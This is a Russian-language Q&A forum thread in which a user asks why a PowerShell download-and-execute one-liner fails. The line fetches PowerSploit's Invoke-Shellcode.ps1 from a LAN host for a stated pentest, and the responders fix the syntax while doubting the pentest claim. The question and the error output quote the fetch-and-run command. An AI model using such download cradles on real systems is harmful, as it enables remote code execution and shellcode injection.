@noame

Не работает команда в PowerShell. Что делать?

Не работает команда в PowerShell.

Команда:
IEX(New-Object Net.WebClient).DownloadString ("192.168.0.14:8000/Invoke-Shellcode.ps1 ")
Ошибка:
Invoke-Expression : Не удается найти позиционный параметр, принимающий аргумент "192.168.0.14:8000/Invoke-Shellcode.ps1 ".
строка:1 знак:1
+ IEX(New-Object Net.WebClient).DownloadString ("http://192.168.0.14:80 ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) [Invoke-Expression], ParameterBindingException
+ FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.PowerShell.Commands.InvokeExpressionCommand

P.S. Это для пентеста с помощью PowerSploit
  • Вопрос задан
  • 547 просмотров
Пригласить эксперта
Ответы на вопрос 2
vovka3003
@vovka3003
Фрилансер. Инженер систем безопасности.
Не установлен Net.Framework.
Ответ написан
@MaxKozlov Куратор тега PowerShell
(New-Object Net.WebClient).DownloadString("http://192.168.0.14:8000/Invoke-Shellcode.ps1")

помимо ненужного Invoke-Expression у вас ещё протокол не указан. точнее, скорее всего вы его удалили при редактировании, потому что в ошибке-то он есть :)

p.s. пентест при таких вводных - не очень убедительно
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы